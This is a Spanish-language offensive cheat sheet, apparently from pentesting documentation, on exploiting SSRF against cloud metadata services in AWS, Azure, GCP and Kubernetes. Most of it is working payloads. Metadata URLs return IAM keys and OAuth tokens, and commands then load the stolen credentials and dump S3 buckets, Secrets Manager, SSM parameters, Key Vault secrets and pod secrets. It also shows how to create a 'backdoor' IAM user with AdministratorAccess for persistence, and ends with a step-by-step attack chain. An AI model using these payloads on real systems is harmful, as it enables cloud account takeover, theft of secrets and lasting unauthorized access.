entornos-cloud-aws-azure-gcp
Entornos Cloud (AWS, Azure, GCP)
Section titled “Entornos Cloud (AWS, Azure, GCP)”En entornos cloud, cada instancia (EC2, VM, pod) tiene acceso a un endpoint de metadata que devuelve información sobre la instancia, incluyendo credenciales temporales de IAM. Estas credenciales permiten interactuar con todos los servicios cloud de la cuenta.
SSRF → metadata endpoint → credenciales IAM → S3, EC2, Lambda, RDS... → potencialmente compromiso completo de la cuentaEl endpoint solo es accesible desde la propia instancia (no desde internet), por eso el SSRF lo hace tan peligroso.
AWS — Amazon Web Services
Section titled “AWS — Amazon Web Services”Endpoint de metadata
Section titled “Endpoint de metadata”URL base: http://169.254.169.254/latest/→ Solo accesible desde instancias EC2→ No requiere autenticación en IMDSv1 (versión legacy)→ IMDSv2 requiere un token previo (pero bypass es posible si la app hace peticiones arbitrarias)IMDSv1 — Sin autenticación (el más frecuente en vulns)
Section titled “IMDSv1 — Sin autenticación (el más frecuente en vulns)”# Información básica de la instanciahttp://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/instance-idhttp://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/public-ipv4http://169.254.169.254/latest/meta-data/local-ipv4http://169.254.169.254/latest/meta-data/public-hostnamehttp://169.254.169.254/latest/meta-data/ami-idhttp://169.254.169.254/latest/meta-data/instance-typehttp://169.254.169.254/latest/meta-data/placement/availability-zonehttp://169.254.169.254/latest/meta-data/placement/region
# Información de redhttp://169.254.169.254/latest/meta-data/network/interfaces/macs/http://169.254.169.254/latest/meta-data/network/interfaces/macs/MAC_ADDR/http://169.254.169.254/latest/meta-data/network/interfaces/macs/MAC_ADDR/vpc-idhttp://169.254.169.254/latest/meta-data/network/interfaces/macs/MAC_ADDR/subnet-idhttp://169.254.169.254/latest/meta-data/network/interfaces/macs/MAC_ADDR/security-groups
# Roles IAM asignadoshttp://169.254.169.254/latest/meta-data/iam/infohttp://169.254.169.254/latest/meta-data/iam/security-credentials/→ Devuelve el nombre del rol, ej: "WebServerRole"
# CREDENCIALES TEMPORALES IAM ← El hallazgo más críticohttp://169.254.169.254/latest/meta-data/iam/security-credentials/NOMBRE_DEL_ROL→ Devuelve JSON con:{ "Code": "Success", "LastUpdated": "2024-01-15T10:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "Token": "IQoJb3JpZ2luX2VjEJr...", ← Session token (temporal) "Expiration": "2024-01-15T16:30:00Z"}
# User-data (scripts de inicio — a veces contienen contraseñas/tokens)http://169.254.169.254/latest/user-data
# Identidad de la instancia (documento firmado)http://169.254.169.254/latest/dynamic/instance-identity/documenthttp://169.254.169.254/latest/dynamic/instance-identity/signatureIMDSv2 — Con token (versión moderna, más segura)
Section titled “IMDSv2 — Con token (versión moderna, más segura)”# IMDSv2 requiere primero obtener un token con PUT# Pero si la app hace peticiones HTTP arbitrarias, podemos incluir el header
# Paso 1: Obtener token (PUT request con header especial)# Desde SSRF, si la app permite PUT y headers custom:PUT http://169.254.169.254/latest/api/tokenX-aws-ec2-metadata-token-ttl-seconds: 21600→ Devuelve: TOKEN_VALUE
# Paso 2: Usar el token en peticiones al metadataGET http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLEX-aws-ec2-metadata-token: TOKEN_VALUE
# Si la app no permite PUT o headers custom:# → La instancia puede tener IMDSv1 habilitado también (hop fallback)# → Algunas configuraciones permiten IMDSv1 como fallback# → Buscar si la app tiene algún endpoint que haga PUT para ese headerUsar las credenciales IAM obtenidas
Section titled “Usar las credenciales IAM obtenidas”# Configurar las credenciales en el atacanteexport AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEJr..."
# Verificar identidad y permisosaws sts get-caller-identity→ Muestra: Account ID, UserID, ARN del rol
# Enumerar permisos disponibles (qué puede hacer este rol)aws iam list-attached-role-policies --role-name NOMBRE_ROLaws iam get-role-policy --role-name NOMBRE_ROL --policy-name POLICY_NAME
# Herramienta automatizada para enumerar permisospip3 install enumerate-iampython3 enumerate_iam.py --access-key AKID --secret-key SECRET --session-token TOKENExplotación post-SSRF en AWS
Section titled “Explotación post-SSRF en AWS”# S3 — Listar y descargar bucketsaws s3 ls # Listar todos los buckets accesiblesaws s3 ls s3://BUCKET_NAME/ # Contenido de un bucketaws s3 cp s3://BUCKET_NAME/secret.txt . # Descargar archivoaws s3 sync s3://BUCKET_NAME/ ./local/ # Sincronizar bucket completo
# EC2 — Información de instanciasaws ec2 describe-instancesaws ec2 describe-security-groupsaws ec2 describe-vpcsaws ec2 describe-subnets
# Secrets Manager — Secretos almacenadosaws secretsmanager list-secretsaws secretsmanager get-secret-value --secret-id NOMBRE_SECRETO→ Devuelve: contraseñas, API keys, tokens
# Parameter Store (SSM)aws ssm describe-parametersaws ssm get-parameter --name NOMBRE --with-decryptionaws ssm get-parameters-by-path --path / --recursive --with-decryption→ También puede contener credenciales
# Lambda — Código de funcionesaws lambda list-functionsaws lambda get-function --function-name NOMBRE# El código puede contener credenciales hardcodeadasaws lambda get-function-configuration --function-name NOMBRE
# RDS — Bases de datosaws rds describe-db-instancesaws rds describe-db-clusters# Con los endpoints y credenciales de Secrets Manager → acceso directo a la DB
# IAM — Escalar privilegios si el rol tiene permisos de IAMaws iam list-usersaws iam list-rolesaws iam create-user --user-name backdooraws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws iam create-access-key --user-name backdoor→ Credenciales permanentes con admin → persistencia
# ECR — Imágenes de contenedoresaws ecr describe-repositoriesaws ecr get-login-password | docker login --username AWS --password-stdin ACCOUNT.dkr.ecr.REGION.amazonaws.com# El código en las imágenes puede contener credencialesAzure — Microsoft Azure
Section titled “Azure — Microsoft Azure”Endpoint de metadata (IMDS)
Section titled “Endpoint de metadata (IMDS)”# URL base del Instance Metadata Servicehttp://169.254.169.254/metadata/instance?api-version=2021-02-01# Header requerido: Metadata: true# Sin el header → error 400
# Si la app permite añadir headers custom al hacer la petición SSRF:url=http://169.254.169.254/metadata/instance?api-version=2021-02-01Header: Metadata: true
# Información de la instanciahttp://169.254.169.254/metadata/instance?api-version=2021-02-01→ Devuelve JSON con: subscriptionId, resourceGroup, vmId, location, vmSize...
# Identidad de la VMhttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/→ Devuelve: access_token para la API de Azure Management
# Token para distintos recursos# Azure Management APIhttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/# Azure Storagehttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/# Key Vaulthttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net# Graph APIhttp://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/
# Scheduled events (revela info de la VM)http://169.254.169.254/metadata/scheduledevents?api-version=2020-07-01
# Atestación (para verificar identidad de la VM)http://169.254.169.254/metadata/attested/document?api-version=2020-09-01Usar el token de Azure
Section titled “Usar el token de Azure”# Configurar el tokenTOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6..."
# Verificar la suscripcióncurl -H "Authorization: Bearer $TOKEN" \ https://management.azure.com/subscriptions?api-version=2020-01-01
# Listar grupos de recursoscurl -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/SUB_ID/resourceGroups?api-version=2021-04-01"
# Listar VMscurl -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Compute/virtualMachines?api-version=2021-07-01"
# Listar Storage Accountscurl -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.Storage/storageAccounts?api-version=2021-02-01"
# Listar Key Vaultscurl -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/SUB_ID/providers/Microsoft.KeyVault/vaults?api-version=2021-10-01"
# Obtener secretos del Key Vault (con token de vault.azure.net)TOKEN_KV="..." # token para resource=https://vault.azure.netcurl -H "Authorization: Bearer $TOKEN_KV" \ "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.3"curl -H "Authorization: Bearer $TOKEN_KV" \ "https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME?api-version=7.3"GCP — Google Cloud Platform
Section titled “GCP — Google Cloud Platform”Endpoint de metadata
Section titled “Endpoint de metadata”# URL base del Metadata Serverhttp://metadata.google.internal/computeMetadata/v1/# Header requerido: Metadata-Flavor: Google
# Sin el header → respuesta 403 o error con mensaje sobre el header# Versión sin header (legacy — funciona en algunas instancias):http://metadata.google.internal/
# Información de la instanciahttp://metadata.google.internal/computeMetadata/v1/instance/http://metadata.google.internal/computeMetadata/v1/instance/idhttp://metadata.google.internal/computeMetadata/v1/instance/namehttp://metadata.google.internal/computeMetadata/v1/instance/zonehttp://metadata.google.internal/computeMetadata/v1/instance/machine-typehttp://metadata.google.internal/computeMetadata/v1/instance/hostname
# Información del proyectohttp://metadata.google.internal/computeMetadata/v1/project/project-idhttp://metadata.google.internal/computeMetadata/v1/project/numeric-project-idhttp://metadata.google.internal/computeMetadata/v1/project/attributes/# Los atributos del proyecto pueden contener: SSH keys, tokens, configuraciones
# Atributos de la instancia (a menudo contienen scripts de inicio con credenciales)http://metadata.google.internal/computeMetadata/v1/instance/attributes/http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-scripthttp://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
# SERVICE ACCOUNT TOKEN ← El hallazgo más crítico en GCPhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/emailhttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopeshttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token→ Devuelve:{ "access_token": "ya29.c.b0AXv0zTNp...", "expires_in": 3599, "token_type": "Bearer"}
# Listar todas las service accounts de la instanciahttp://metadata.google.internal/computeMetadata/v1/instance/service-accounts/Usar el token de GCP
Section titled “Usar el token de GCP”TOKEN="ya29.c.b0AXv0zTNp..."
# Verificar el tokencurl -H "Authorization: Bearer $TOKEN" \ "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=$TOKEN"
# GCP Resource Manager — Proyectos y permisoscurl -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.com/v1/projects"
# GCS (Google Cloud Storage) — Listar bucketscurl -H "Authorization: Bearer $TOKEN" \ "https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID"
# Listar objetos de un bucketcurl -H "Authorization: Bearer $TOKEN" \ "https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o"
# Descargar objetocurl -H "Authorization: Bearer $TOKEN" \ "https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" -o file
# Compute Engine — Listar instanciascurl -H "Authorization: Bearer $TOKEN" \ "https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/aggregated/instances"
# Cloud SQL — Listar bases de datoscurl -H "Authorization: Bearer $TOKEN" \ "https://sqladmin.googleapis.com/sql/v1beta4/projects/PROJECT_ID/instances"
# Secret Manager — Secretos almacenadoscurl -H "Authorization: Bearer $TOKEN" \ "https://secretmanager.googleapis.com/v1/projects/PROJECT_ID/secrets"curl -H "Authorization: Bearer $TOKEN" \ "https://secretmanager.googleapis.com/v1/projects/PROJECT_ID/secrets/SECRET_NAME/versions/latest:access"Kubernetes en Cloud (EKS, GKE, AKS)
Section titled “Kubernetes en Cloud (EKS, GKE, AKS)”Cuando la app corre en un pod de Kubernetes, además del metadata del cloud, hay credenciales del pod:
# Token del Service Account del pod (montado automáticamente)file:///var/run/secrets/kubernetes.io/serviceaccount/tokenfile:///var/run/secrets/kubernetes.io/serviceaccount/namespacefile:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Con el token, acceder a la API de Kubernetescurl -H "Authorization: Bearer $SA_TOKEN" \ https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/secrets# → Dump de todos los secretos del namespace
# Variables de entorno del pod (a menudo contienen credenciales)file:///proc/self/environ
# Acceder a la API de Kubernetes desde el SSRFhttp://kubernetes.default.svc.cluster.local/api/v1/secretshttp://10.96.0.1/api/v1/namespaces/kube-system/secretsFlujo de explotación completo (AWS)
Section titled “Flujo de explotación completo (AWS)”1. Confirmar SSRF url=http://INTERACTSH_URL → recibir petición DNS/HTTP
2. Acceder al metadata url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ → Obtener nombre del rol: "WebServerRole"
3. Obtener credenciales url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole → AccessKeyId, SecretAccessKey, Token
4. Configurar credenciales en el atacante export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."
5. Enumerar permisos aws sts get-caller-identity python3 enumerate_iam.py --access-key ... --secret-key ... --session-token ...
6. Escalar (según permisos disponibles) → s3:GetObject → dump de todos los buckets → secretsmanager:GetSecretValue → dump de secretos → iam:CreateUser → crear usuario permanente con AdministratorAccess → ec2:RunInstances → lanzar instancias propias en la cuenta → lambda:UpdateFunctionCode → modificar funciones Lambda → backdoorResumen de endpoints de metadata
Section titled “Resumen de endpoints de metadata”| Cloud | URL | Header requerido | Credenciales en |
|---|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE |
Ninguno (IMDSv1) | AccessKeyId, SecretAccessKey, Token |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token?...resource=... |
Metadata: true |
access_token (JWT) |
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
Metadata-Flavor: Google |
access_token |
| K8s pod | file:///var/run/secrets/kubernetes.io/serviceaccount/token |
Ninguno | JWT para API de K8s |
Las credenciales IAM de AWS son temporales (expiran en horas), pero si el rol tiene
iam:CreateUser+iam:CreateAccessKey, se pueden crear credenciales permanentes antes de que expiren las temporales.
Aunque IMDSv2 de AWS requiere un token previo, muchas instancias antiguas o mal configuradas siguen respondiendo a IMDSv1. Siempre probar primero sin el token — si da 200, es IMDSv1.
Azure y GCP requieren cabeceras específicas (
Metadata: true,Metadata-Flavor: Google). Si la app SSRF no permite headers custom, buscar si hay algún endpoint de la propia app que ya incluya esas cabeceras en sus peticiones internas.